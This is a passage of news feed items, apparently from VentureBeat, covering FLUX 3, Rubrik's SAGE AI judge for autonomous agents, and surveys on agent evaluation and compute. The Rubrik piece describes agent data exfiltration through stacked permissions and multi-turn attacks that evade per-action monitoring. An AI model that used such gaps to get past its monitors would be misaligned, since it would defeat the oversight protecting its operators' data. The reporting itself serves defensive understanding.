FLUX-mimic is the second route — the FLUX 3 backbone combined with mimic's robot-learning and production-deployment expertise in dexterous manipulation.</p><p>FLUX-mimic is designed for general-purpose robotic manipulation: helping robots understand a visual scene, predict the consequences of an action, and adapt to new tasks with far less task-specific data. </p><p>BFL and Mimic Robotics say that depending on task difficulty, the model can be finetuned for a specific manipulation task with as little as 30 minutes of robot data, where prior approaches have required 30 or more hours.</p><p>"The hardest part of robotics is data," said Elvis Nava, CTO of Mimic Robotics, in a statement provided to VentureBeat. "Every new task normally means hours of a robot repeating itself. Because FLUX-mimic is built on top of frontier video models that already understand how the physical world behaves, it picks up a new task in minutes, not days. This way, we can leapfrog the current state of the art in robot learning."</p><p>BFL<!-- --> argues that a model trained only on images cannot understand a world that "moves, sounds, changes, and responds," and that physical understanding is what produces convincing generated footage. Google makes a nearly identical claim for Gemini Omni. </p><p>Its developer documentation cites "world knowledge" that combines "an understanding of physics" with Gemini's grasp of history, science and cultural context. Its marketing is blunter still: "Most AI models just predict the next pixel to build a narrative or an image. Gemini Omni is different," the company posted in June, crediting the model with "an intuitive understanding of forces like gravity, kinetic energy, and fluid dynamics for more realistic movements that follow real-world logic." </p><p>The practical consequence for enterprise buyers is that world-model language is not a differentiator. Two of the three leading video systems now market physical understanding as their central advantage, and neither has published a benchmark that measures it. </p><p>There is no standard test for whether generated water behaves like water, whether a dropped object falls at a plausible rate, or whether a sound arrives when the impact does. Human preference ratings capture some of it indirectly. Nothing else on offer captures it at all.</p><h2><b>Open weights helped make FLUX an industry standard</b></h2><p>BFL<a href="https://venturebeat.com/technology/s"> officially launched in summer 2024 </a>and gained a name for itself in the AI industry in the intervening two years for its commitment to open sourcing high-quality AI image models beloved by developers, creatives, and enterprises. </p><p>The company's founders, including Rombach, Andreas Blattmann and Patrick Esser, previously helped create VQGAN, latent diffusion and <a href="https://venturebeat.com/business/stable-diffusion-creators-launch-black-forest-labs-secure-31m-for-flux-1-ai-image-generator">Stable Diffusion</a>, the latter the open source technology that kicked off broad AI generation capabilities for the masses and currently used by many AI image generators and companies. </p><p>That reach translated into commercial distribution. FLUX models now power generative features inside Adobe Photoshop, Picsart and Nous Research's Hermes Agent, among other platforms, and the company cites film director Martin Scorsese among professional users.</p><p><a href="https://www.wired.com/story/black-forest-labs-ai-image-generation/"><i>Wired</i></a> magazine described Black Forest Labs as a relatively small company that nevertheless became a leading competitor to Silicon Valley's largest AI labs, with FLUX models ranking near the top of image benchmarks and becoming some of the most downloaded text-to-image models on AI code sharing community Hugging Face. The company says it now runs a 100-person team across Freiburg and San Francisco.</p><p>FLUX.1 Dev, FLUX.1 Kontext Dev, FLUX.1 Fill Dev and related control models, <a href="https://venturebeat.com/business/black-forest-labs-releases-flux-1-1-pro-and-an-api">released shortly after the firm's launch,</a>  gave researchers and creative-tool developers access to downloadable checkpoints, local inference and integrations with frameworks including Hugging Face Diffusers and ComfyUI. FLUX.1 Kontext Dev, for example, was released as an open-weight model for research and noncommercial use, with generated outputs permitted for commercial purposes under the applicable license.</p><p>The company continued that pattern with <a href="https://venturebeat.com/ai/black-forest-labs-launches-flux-2-ai-image-models-to-challenge-nano-banana">FLUX.2 Dev</a> in late 2025, a 32-billion-parameter open-weight model combining generation and multi-reference editing. Black Forest Labs called it the strongest open-weight image generation and editing model available at launch and released weights, reference inference code and optimized implementations for consumer Nvidia GPUs.</p><p>FLUX 3 Dev raises the stakes on that evaluation. Previous Dev releases were image models. This one is described as a multimodal backbone spanning video, audio, image and action prediction — meaning a single license will govern whether a company can locally deploy a model that touches both content production and physical machinery.  BFL hasn't yet shared information about its license, the parameter count, quantizations or hardware requirements.</p><p>The company frames open weights as an enterprise feature rather than a community gesture, arguing they enable secure, low-latency local deployment for applications like robotic control systems and let teams adapt FLUX 3 to their own data, products and workflows. </p><p>The financial backing behind FLUX 3 is worth noting alongside the technical claims. Black Forest Labs is valued at $3.25 billion and has raised more than $450 million from investors including a16z, AMP, Salesforce Ventures, Nvidia, General Catalyst, Adobe Ventures, Figma Ventures, Canva and Deutsche Telekom's T.Capital.</p>]]></content:encoded>
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<title><![CDATA[An AI now judges every move Rubrik's agents make, its AI chief said at VB Transform 2026 — but no one's measured if the judge is right]]></title>
<description><![CDATA[At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually e...]]></description>
<link>https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually enforces those policies in practice, got a different response. "And everybody chuckled," Rishi, the GM of AI at <a href="https://www.rubrik.com/company">Rubrik</a>, recalled at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a> fireside chat in Menlo Park. "It was like the dirty secret in the room that everyone has these policies, but no way to actually make them real."</p><p>“Our founder and CTO has actually been really pushing to enable our agents in YOLO mode,” Rishi told the audience. That admission comes from a publicly traded data security firm whose business is backing up what he called the most important data in the world.</p><p>YOLO mode strips the permission prompt out of agent workflows and lets the agent act on its own. In Rubrik's version, a second AI judges every action in real time against policy in place of a human clicking approve. Rubrik is running the experiment on itself first. Rishi treats autonomy as a settled capability question and an open judgment question. "If you ask the agent to act autonomously, it will," he said. "It's a question that you have internally. Should it?"</p><p>Rubrik earned that question the hard way. When <a href="https://claude.com/product/claude-code">Claude Code</a> and <a href="https://www.anthropic.com/product/claude-cowork">Cowork</a> pilots rolled out, the company required every command to run in ask mode so the employee issuing it carried the liability, and the developer pushback filled a single Slack thread 120 messages deep. </p><p>"The developers basically are pushing back, and they're like, this is like the iTunes service agreement. I'm just hitting check, check, check, check, check, check, check," Rishi said. "There's no way that I can actually read through this. And it becomes security theater." Roughly 80% of respondents are in the same bind, Rishi said, citing <a href="https://www.rubrik.com/company/newsroom/press-releases/26/as-agentic-ai-adoption-accelerates-rubrik-warns-of-growing-security-gaps">Rubrik Zero Labs research</a> that found monitoring and approving agent actions takes more time than the agents save. The State of the Agent, the April report behind that figure, surveyed more than 1,600 IT and security leaders.</p><p>SAGE is the reason Rubrik trusts the bet. Short for Semantic AI Governance Engine, SAGE is the arbitration layer inside <a href="https://www.rubrik.com/products/rubrik-agent-cloud">Rubrik Agent Cloud</a> that watches every action an agent takes and reads the semantic intent behind it, then rules the action in or out against policies written in natural language. "We took what people said was human in the loop, a good idea, and we replaced it with AI in the loop," Rishi said, describing the pitch to security chiefs he characterized as skittish about non-deterministic systems.</p><h2>Security approval, not cost, blocks AI ROI</h2><p>Rishi’s path to Rubrik ran through <a href="https://techcrunch.com/2025/06/25/rubrik-acquires-predibase-to-accelerate-adoption-of-ai-agents/">Predibase</a>, the generative AI infrastructure startup he co-founded and ran as CEO until Rubrik agreed to acquire it in June 2025. Before that, he led ML product at Google on the team that became Vertex AI, served as Kaggle's first product manager as it grew from about one million to ten million users, and holds bachelor's and master's degrees in computer science from Harvard. </p><p>Over roughly his first three and a half months at Rubrik, Rishi set up 200 customer conversations with IT and security leaders across a customer base that looks like the Global 2000, asking open-ended questions about cost, latency, performance, and orchestration. "Pretty consistently, what I heard through all of those conversations was that all of those are pretty secondary," he said. "The main challenge is actually, how do I get this approved from a security and risk standpoint? I'm concerned about all the different things that could go wrong. Actually, I felt like that was one of the biggest things constraining ROI."</p><p><a href="https://venturebeat.com/orchestration/wall-street-is-debating-the-ai-buildout-enterprises-just-answered-86-say-their-gpus-run-at-half-capacity-or-less">VentureBeat Pulse research</a> presented on the Transform stage earlier in the day confirms the gap Rishi kept hearing. Two-thirds of enterprises, 66%, already allow or are actively building toward production deployment with zero human review, yet only 5% fully trust the automated evaluations that would make that decision. </p><h2>One AI reading what the rulebook can't</h2><p>Rubrik's own policies exposed why written rules fail as enforcement. One internal rule states that agents should respect Rubrik's customer data use policy, which sounds enforceable until someone tries. "Rubrik's customer data use policy is like a three-page document of legal text," Rishi said. "I have no idea how to write that in there as a rule." Asked on stage how a team of AI infrastructure people took on a problem that security engineers own, Rishi answered, "with a lot of naivety and innocence, honestly." His team bet that models good at understanding language could police other models, and SAGE became the answer.</p><p>The case for putting a model in the judgment seat comes down to precision. A rule like "agents should not be able to edit revenue fields in Salesforce" fails in conventional tooling because Salesforce does not delineate which fields count as revenue, Rishi explained, so administrators fall back on approving every Salesforce action by hand. SAGE reads the intent instead and acts as a judge, carrying organizational context, which can tell a benign lookup from the edit the policy prohibits.</p><p>Keeping the judge small is what makes the economics work. <!-- -->SAGE runs on a small language model that Rishi said operates at an order of magnitude lower cost and latency than a frontier LLM. "If I told you, don't worry, you're gonna be secure and governed, but I'm gonna double your cost and latency, you would tell me to get out of the room," Rishi said.</p><p>When Rishi asked who in the audience had worried about token consumption over the past year, half the hands went up. "And I guess the other half is probably just too lazy to raise their hand," he said.</p><p>SAGE is an aggregation of judges based on parameter-efficient fine-tuning that Rubrik uses to take on task-specific variants of a base model with shared organizational context. One judge watches for tool-use hallucinations while another suppresses PII before it can leave, each running as its own enforceable policy. Security and GRC teams have started writing financial rules into the same layer, including one internal policy barring AI spend on personal projects.</p><h2>The lethal trifecta</h2><p>Asked which attacks worry him most, Rishi pointed at the <a href="https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/">lethal trifecta</a>, the term security researcher Simon Willison coined in June 2025 for an agent that holds private data while taking in content nobody vetted, with a channel to send what it finds to the outside world. The danger, according to Rishi, is what happens when individually legitimate permissions stack. An agent granted Salesforce access and email access on an employee's credentials has done nothing wrong yet, with <i>yet</i> being the operative word. "A very simple example is that an agent can start pulling data from Salesforce and then decide to accidentally leak and exfiltrate that out via an email," he told the audience. A financial services company he met the morning of the session made the point for him, telling Rishi that none of the individual permissions are bad on their own and the agent needs every one of them to do its job. "It should have permission to each of those systems, but it's the combination that ends up becoming really destructive," Rishi said.</p><p>Traditional identity and access management never priced in that combination because it relied on the judgment of the employee holding the credentials, Rishi argued, and agents supply none. "I can tell you the number of times Claude Code has tried to leak some of our sensitive source code to a public GitHub repository is incredibly high," he said. Cutting agents off from public resources entirely would defeat their purpose, which returns the problem to adjudicating intent in context rather than revoking access.</p><p>A separate <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">VentureBeat June Pulse survey</a> of 107 qualified enterprise respondents maps the blast radius of exactly this pattern. On the Transform stage that morning, VentureBeat research reported that 69% of companies run credential sharing somewhere in their agent fleet. Companies with shared credentials anywhere got hit more often, reporting a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (9 of 22) where every agent carries its own scoped identity.</p><h2>The attacks no single turn reveals</h2><p>Rubrik Agent Cloud reached <a href="https://www.rubrik.com/blog/company/26/2/introducing-rubrik-agent-cloud-control-your-agents-with-ai">general availability in February</a>, though not everything Rishi described ships in it yet. Backtesting is just starting to roll out. The feature replays an organization's historical agent actions and tool calls against a new policy, showing where the policy would have stepped in and where an action would have sailed through uncaught, with policy edits applied in real time. Rishi called that archive one of the most valuable data troves an enterprise holds.</p><p>Real-time detection and blocking turn out to be the entry point rather than the whole product. Some attacks never trip a single-action rule. "No individual turn of the conversation was problematic, but if you took the session as a full trace, that ended up being problematic," Rishi said. Agent Cloud runs batch analysis across entire session traces every hour or every day and surfaces what Rubrik calls insights, the problems no individual guardrail caught. The same Zero Labs report found that 88% say they lack the ability to roll back agent actions without system disruption, a recovery gap that sits squarely in Rubrik's original line of business.</p><p>A skeptical CISO will ask the question the fireside did not answer. SAGE is a non-deterministic model policing other non-deterministic models, and Rishi offered no false positive or false negative rate for the judge itself. The closest thing the architecture gives to an answer is auditability, since backtesting and the batch insights both leave a human-reviewable trail of each call SAGE made and whatever got past it. Who watches the watcher, for now, is a trail of receipts rather than a benchmark. Until that benchmark exists, AI in the loop stays an operational wager rather than a quantified control.</p><p>Three questions fall out of the session for security teams. How many of the guardrails now in production depend on a human clicking approve, and what happens to that workload as agent count grows? Does anything in the stack enforce semantic intent, or is it all allow and deny lists? And can the team backtest agent behavior against a new policy, then unwind a multi-turn session without taking systems down?</p><p>Rishi's timing has a market behind it. In the same VentureBeat research, 82% of enterprises still name their primary AI provider's built-in guardrails and cloud controls as their main agent security layer, and 59% plan to adopt, add, or replace agent security tooling within the next 12 months. Only 12% include an agent-identity product in what they are considering, even with credential sharing still the norm. Every CISO at that Anthropic roundtable had a policy document and no enforcement mechanism, and Rubrik built a product for the space between the two. YOLO mode is the bet that an AI watching other AIs can finally make the policies real.</p>]]></content:encoded>
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<title><![CDATA[The agent evaluation gap: Enterprise AI organizations have a reality-alignment problem, not a coverage problem — and most are shipping to production anyway]]></title>
<description><![CDATA[Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated...]]></description>
<link>https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated evaluation today; and the most-cited weakness is that evaluations do not align with real-world outcomes. Yet two-thirds already allow, or are actively engineering toward, deploying agent changes to production on automated evaluation alone — with no human in the loop. The result is an evaluation gap — the distance between how much autonomy enterprises are handing their agents and how far they trust the tests that are supposed to catch the failures.</p><p>This wave of VentureBeat Pulse Research examines how technical leaders measure agent performance: which reliability and evaluation platforms they use, how they select and trust them, what breaks in production, and how far they are willing to let agents run without a human in the loop.</p><p>The central finding is an evaluation gap — the distance between the autonomy enterprises are granting their agents and the trust they place in the evaluations meant to govern it. Half of organizations (50%) have, in the past year, deployed an agent or LLM feature that passed their internal evaluations and then caused a customer-facing failure, and a quarter have seen it happen more than once. Trust in the tests themselves is thin: only 5% say they fully trust automated evaluation today, and the single most-cited limitation is that evaluations align poorly with real-world outcomes (29%). Enterprises are discovering that a passing eval is not the same as a working agent.</p><p>What makes the gap consequential is the direction of travel. Two-thirds of organizations (66%) already permit fully automated, zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to allow it within twelve months (33%). At the same time, the evaluation stack that would have to earn that trust is fragmented and immature: the most common primary tools are the model providers’ native evals, tied with having no dedicated tooling at all (17% each); and only about a quarter of enterprises run real-time quality checks on live production traffic. The autonomy is arriving faster than the assurance.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey — the Agentic Reliability &amp; Evals tracker — focused on how technical leaders evaluate agent performance and reliability. Responses are filtered to organizations with 100 or more employees (n=157), drawn from a single survey in June 2026; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Where questions were multiple-select, those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 38% are final decision-makers for AI purchases and another 34% recommenders or influencers. Product and program managers (15%), consultants and advisors (10%), directors of engineering/IT (8%), and CIOs/CTOs/CISOs (8%) lead the named titles, alongside a large “Other” function (37%). By organization size the sample is mid-market-weighted: 100–499 (37%) and 500–2,499 (27%) employees lead, with 2,500–9,999 (20%), 10,000–49,999 (10%), and 50,000+ (6%) above them. Technology/Software is the largest industry at 23%, followed by Retail/Consumer (15%), Healthcare/Life Sciences (12%), and Manufacturing (10%).</p><p>At 157 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent evaluation practices rather than from the largest operators.</p><p><i>Note: This survey was rebuilt for the June wave from the earlier “LLM observability and evaluations” survey; because the questions and sample differ, no comparisons are made to the April–May data.</i></p><h1>Finding 1: A passing eval is not a working agent</h1><p><b>Half have shipped an agent that passed evals, then failed a customer</b></p><p>We asked whether, in the past 12 months, organizations had deployed an agent or LLM feature that passed their internal evaluations but then caused a customer-facing failure. Half of those that run evaluations had.</p><div></div><p>This is the report’s defining number. Half of organizations (50%) have shipped an AI feature that cleared their internal evaluations and then failed in front of a customer — an incorrect output, a broken workflow, or a quality incident — and a quarter have seen it happen more than once. Only 36% report no such failure, and the remainder either run no pre-deployment evaluations (8%) or don’t track the root cause closely enough to know (6%). The failure is precise and expensive: the evaluation said the agent was ready, and it was not. Everything that follows — how enterprises trust their evals, what they monitor, and how much autonomy they grant — is shaped by this experience.</p><h2>Finding 2: Almost no one fully trusts automated evaluation</h2><p><b>The top complaint: Evals don't match real-world outcomes</b></p><p>We asked which limitation most reduces trust in automated agent evaluations today. Only a sliver of enterprises had no complaint at all.</p><div></div><p>Trust in automated evaluation is scarce, and specific. Only 5% of organizations say they fully trust automated evaluation as it stands — meaning 95% name a limitation that holds them back. The most common, at 29%, is the one that most directly explains Finding 1: evaluations align poorly with real-world outcomes, passing agents that later fail. Bias or inconsistency (21%) and a lack of explainability (18%) follow — enterprises cannot always tell why an evaluation reached its verdict — and 17% cite data-leakage or privacy concerns in the evaluation process itself. The tests meant to certify agents are not yet trusted to certify them, which is precisely why the autonomy trajectory in Finding 3 is so striking.</p><h2>Finding 3: The autonomy ceiling is rising anyway</h2><p><b>Two-thirds already allow, or are building toward, zero-human deployment</b></p><p>We asked whether organizations would let an autonomous agent deploy a code or system change to production on automated evaluation results alone, with no human-in-the-loop validation. The trajectory runs straight through the trust gap.</p><div></div><p>Here is the paradox at the heart of the report. Even though almost no one fully trusts automated evaluation (Finding 2), two-thirds of organizations (66%) either already allow zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to permit it within a year (33%). Only 22% rule it out for the foreseeable future. The direction is unambiguous: enterprises are moving to let evaluations gate production autonomously — removing the human check — at the same moment they say those evaluations don’t reliably match reality. The autonomy ceiling is rising faster than the assurance beneath it, which is the mechanism by which the false-confidence failures of Finding 1 will scale rather than shrink.</p><p>Notably, the autonomy bet is not just a small company phenomenon. Splitting the sample by company size, larger enterprises are slightly further down the path toward zero human review than smaller companies (70% versus 64%) and slightly more likely to have shipped an evaluation-passing agent that then failed a customer (54% versus 48%). The assumption that large, regulated organizations are holding the human in the loop longest is, in this sample, backwards.  To be sure, these are directional figures, since the survey was not a huge sample — 57 respondents from companies with 2,500+ employees and 100 from companies smaller than that. </p><h2>Finding 4: The evaluation stack is fragmented and provider-led</h2><p><b>Provider-native evals lead — tied with no dedicated tool at all</b></p><p>We asked which agent reliability or evaluation platform enterprises primarily use today. The market has no clear leader — and a large share has nothing dedicated.</p><div></div><p>The evaluation layer is early and unconsolidated. Provider-native tooling leads — OpenAI’s native evals and traces (17%) and Anthropic’s Claude Console evals (13%) together outweigh any independent platform — but it is tied at the top by a striking answer: 17% of enterprises use no dedicated agent-evaluation tooling at all, a notable gap for organizations shipping agents to customers. The specialist evaluation vendors — DeepEval (12%), Braintrust (8%), LangSmith, Weave, Promptfoo, Langfuse, Arize — are scattered across single to low double digits, and 11% have built their own. No independent platform has yet become the category standard, which leaves most enterprises evaluating agents with provider-native tools, home-grown scripts, or nothing.</p><h2>Finding 5: Production monitoring rarely watches output quality</h2><p><b>Only a quarter run real-time quality checks on live traffic</b></p><p>Production monitoring for an AI agent can watch two very different things. It can watch whether the system is <b>functioning</b> — is the agent up and responding, did each request complete, how fast, at what cost, with any errors. Or it can watch whether the agent's output is <b>correct</b> — automated checks that evaluate the content of each answer as it goes out: did the agent give the right answer, take the right action, stay within policy. The distinction matters because a confidently wrong answer is invisible to the first kind of monitoring: the request completes, the response is fast, no error is thrown, and every functioning-metric reads healthy. We asked organizations which kind their live production monitoring is built for today.</p><div></div><p>Grouped by what is actually being watched, the split is stark: 51% of organizations monitor only whether the agent is functioning, while 23% monitor whether its answers are right. Counting the ad-hoc reviewers and the don't-knows, roughly three-quarters of organizations run no automated, real-time evaluation of output correctness in production — they can see that the system is up and what it costs, and they are taking the correctness of its answers on faith. That blind spot is the runtime counterpart to the pre-deployment gap in Finding 1: the same organizations engineering the human out of the deployment decision mostly cannot see, in real time, when the deployed agent starts getting things wrong.</p><h2>Finding 6: Bought on cost, measured on consistency</h2><p><b>Price and integration drive selection; evaluation consistency is the goal</b></p><p>We asked what most influenced enterprises’ choice of an evaluation vendor, and what they treat as their primary measure of success. Both answers are pragmatic.</p><div></div><p>Enterprises buy evaluation tooling on economics and trust it on repeatability. Cost of evaluations (28%) narrowly leads selection, just ahead of ease of integration (27%) and evaluation accuracy (24%) — breadth of observability (13%) and vendor roadmap (4%) matter far less. On what success looks like, more than a third (36%) name evaluation consistency — getting the same verdict on the same behavior every time — well ahead of speed of experimentation (19%), reduction in failures (18%), production visibility (13%), and compliance (11%). The emphasis on consistency is telling: before enterprises can trust an evaluation’s verdict, they need it to be stable — the very property whose absence (bias and inconsistency) ranked among the top trust limitations in Finding 2. Satisfaction with current tooling is only moderate, averaging 3.8 on a five-point scale across overall satisfaction, ease of implementation, and value for money.</p><h2>Finding 7: The next dollar goes to humans and observability</h2><p><b>Investment is flowing to oversight, not just automation</b></p><p>We asked which reliability and evaluation investment will grow most over the next year. The money is going toward watching agents more closely — including with people.</p><div></div><p>The second-largest planned investment — behind only production observability — is human review workflows, at 26%. Read against Finding 1, that is the report's quietest contradiction: at the same moment two-thirds of enterprises are engineering the human out of the deployment decision, more of them plan to grow spending on human reviewers (26%) than on the automated evaluation pipelines (16%) that would replace them. The zero-human trajectory and the human-review budget are rising in the same companies at the same time. Indeed, only 8% report that their budget is not increasing. </p><p>Taken together, enterprises are hedging: building toward autonomy while spending to watch agents more closely and keep humans available for the calls that automated evaluation cannot yet be trusted to make.</p><h2>Finding 8: A tooling reshuffle is coming</h2><p><b>Nearly two-thirds plan to adopt or switch platforms within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement evaluation platform, and which they are considering. Few intend to stand pat.</p><div></div><p>The evaluation market is wide open. While 36% have no plans to change, a clear majority (64%) intend to adopt a new, additional, or replacement platform within twelve months, and 31% within the next quarter. The consideration set points where current usage is thinnest: Confident AI’s DeepEval leads what enterprises are evaluating (20%), ahead of OpenAI’s native evals (13%) and Braintrust (9%) — the open-source specialists drawing more interest than their present footprint. </p><p>Given that so many enterprises today rely on provider-native tools or nothing at all (Finding 4), this is less a defection than a first real wave of tooling adoption — the moment the evaluation layer starts to consolidate. Which platforms earn that trust, in a market where almost no one trusts automated evaluation yet, is the open question this series will keep tracking.</p><h2>The bottom line: An evaluation gap that autonomy will widen, not close</h2><p>Organizations with 100 or more employees are granting AI agents more independence than they trust their evaluations to support. Half have already shipped an agent that passed its evals and then failed a customer; almost none fully trust automated evaluation, chiefly because it doesn’t match real-world outcomes; and most watch production for uptime and cost rather than for whether the agent’s answers are right. Yet two-thirds already allow, or are actively building toward, deploying to production on automated evaluation alone.</p><p>The vendor market is early and unsettled: the most common primary evaluation tools are provider-native evals, tied with no dedicated tooling at all, and a clear majority plan to adopt or switch platforms within the year. Encouragingly, the next dollar is going to observability and — pointedly — human review, suggesting enterprises sense the gap even as they engineer past it. At 157 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: autonomy is being granted on the strength of evaluations that the people granting it do not yet trust. The evaluation gap is not a coverage problem that more tests alone will close; it is a problem of evaluations that reflect reality and can be trusted to gate it. The open question for later waves is whether assurance catches up to autonomy — or whether the false-confidence failures move from customer incidents into changes that deploy themselves.</p><hr><p><i>Based on survey responses from 157 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read rather than a precise measurement — the sample is self-selected, not a probability sample, and skews toward the mid-market. Respondents include product and program managers, consultants and advisors, directors of engineering/IT, and CIOs/CTOs/CISOs, among other functions, across technology/software, retail/consumer, healthcare/life sciences, manufacturing, and other industries.</i></p>]]></content:encoded>
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<title><![CDATA[The AI compute gap: Enterprises are buying infrastructure faster than they can measure what it costs]]></title>
<description><![CDATA[Across 107 enterprises, AI infrastructure spending is accelerating well ahead of the ability to see or steer its economics. Most organizations run their AI on a familiar base of hyperscalers and model-provider APIs, yet the next dollar is aimed at specialized compute almost none of them use today...]]></description>
<link>https://tsecurity.de/de/3689826/it-nachrichten/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689826/it-nachrichten/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:39 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI infrastructure spending is accelerating well ahead of the ability to see or steer its economics. Most organizations run their AI on a familiar base of hyperscalers and model-provider APIs, yet the next dollar is aimed at specialized compute almost none of them use today; a majority intend to switch or add providers within the year, many within a quarter. Buying decisions turn on integration and total cost of ownership rather than headline token price — which is fortunate, because most enterprises cannot yet see their unit economics clearly: GPUs sit at half utilization or less, and fewer than half rigorously track what their compute actually costs. The result is a compute gap — heavy, fast-moving investment running ahead of the visibility needed to control it.</p><p>This wave of VentureBeat Pulse Research examines enterprise AI infrastructure and compute: where organizations are in their deployment journey, what they run AI on today, how satisfied they are, what would make them switch, where they plan to evaluate their investments, and — most revealingly — how well they can measure and control the economics of the compute underneath it all.</p><p>The central finding is a compute gap — the distance between how aggressively enterprises are investing in AI infrastructure and how little of its economics they can see. Only about one in five (21%) run AI in production at scale, yet spending intentions are outrunning that maturity: the single largest planned area enterprises plan to evaluate over the next year is AI-specialized clouds (45%), a layer almost none of these enterprises use today. Meanwhile the compute already in place runs cold — 83% report GPU utilization of 50% or less — and fewer than half (44%) can rigorously track what their AI compute costs. Enterprises are buying more infrastructure faster than they can account for what they already own.</p><p>Enterprises are not settled on their infrastructure vendors, either: A clear majority (64%) plan to switch or add an infrastructure provider within twelve months, and 38% within the next quarter — unusually high churn intent for a category this foundational. When they choose, they choose on integration with the existing stack (41%) and total cost of ownership (35%), not on headline price: cost per million tokens is the deciding factor for just 8%. And the frontier constraint that will shape the next round of decisions — the shift from GPU compute to memory bandwidth as inference scales — is barely on the radar, with roughly one in five enterprises either unaware of it or yet to address it.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey focused on enterprise AI infrastructure, compute, and inference economics. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By organization size the sample concentrates in the mid-market: 101–250 employees (36%) and 251–1,000 (27%) lead, with 1,001–5,000 (22%), 5,001–10,000 (8%), and 10,001+ (7%) above them. By role it spans managers (38%), individual contributors (28%), VPs and directors (19%), and the C-suite (13%); on purchasing authority it is buyer-credible, with 45% final decision-makers and another 30% recommenders or influencers for AI solutions. Technology/Software is the largest industry at 26%, followed by Healthcare/Life Sciences (15%), Financial Services (13%), and Retail/E-commerce (12%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It also skews toward the mid-market and toward earlier-stage adopters, so it is best read as the view from organizations actively building out AI infrastructure rather than from the largest hyperscale operators.</p><h2>Finding 1: Ambition outpaces production</h2><p><b>Only one in five run AI in production at scale</b></p><p>We asked where organizations sit in their AI deployment journey. Most are still building toward production rather than operating at scale.</p><div></div><p>The maturity curve is front-loaded. Three-quarters of enterprises (76%) are either experimenting or running only some workloads in production, and just 21% describe AI in production at scale. This matters for everything that follows: the infrastructure decisions in this report are being made largely by organizations still early in deployment, whose compute footprint — and whose costs — are about to grow. The evaluation and switching intentions in Findings 3 and 4 are the leading edge of that build-out, not the settled preferences of operators who have already found what works.</p><h2>Finding 2: Enterprises run on hyperscalers and model APIs</h2><p><b>The specialized GPU clouds barely register — today</b></p><p>We asked which providers and platforms enterprises currently use to run their AI. The answer is a familiar one: the incumbents.</p><div></div><p>The current stack is hyperscaler-and-API. Google Cloud leads at 48%, and the general-purpose clouds (Google, Microsoft, AWS, Oracle) together with the major model APIs (Gemini, OpenAI, Anthropic) account for essentially all current deployment. The specialized “neocloud” GPU providers that dominate AI-infrastructure headlines — CoreWeave, Lambda, Crusoe, Nebius and peers — register at or near zero among these enterprises today. Only 6% run their own on-prem GPU clusters and 4% a custom open-source stack. Enterprises are, for now, running AI on the providers they already buy from — which makes the evaluation intentions in Finding 3 all the more striking.</p><p><i>(A note on reading these shares. As described in the methodology section, this sample is self-selected and skews mid-market, and this question counted every provider a respondent uses — an average of 2.1 selections each — so the figures measure presence in the stack rather than spending or primary status. A sample built this way will show a different provider mix than a spend-weighted census of the broader market; Google's strength here, for example, is consistent with its long-standing position among 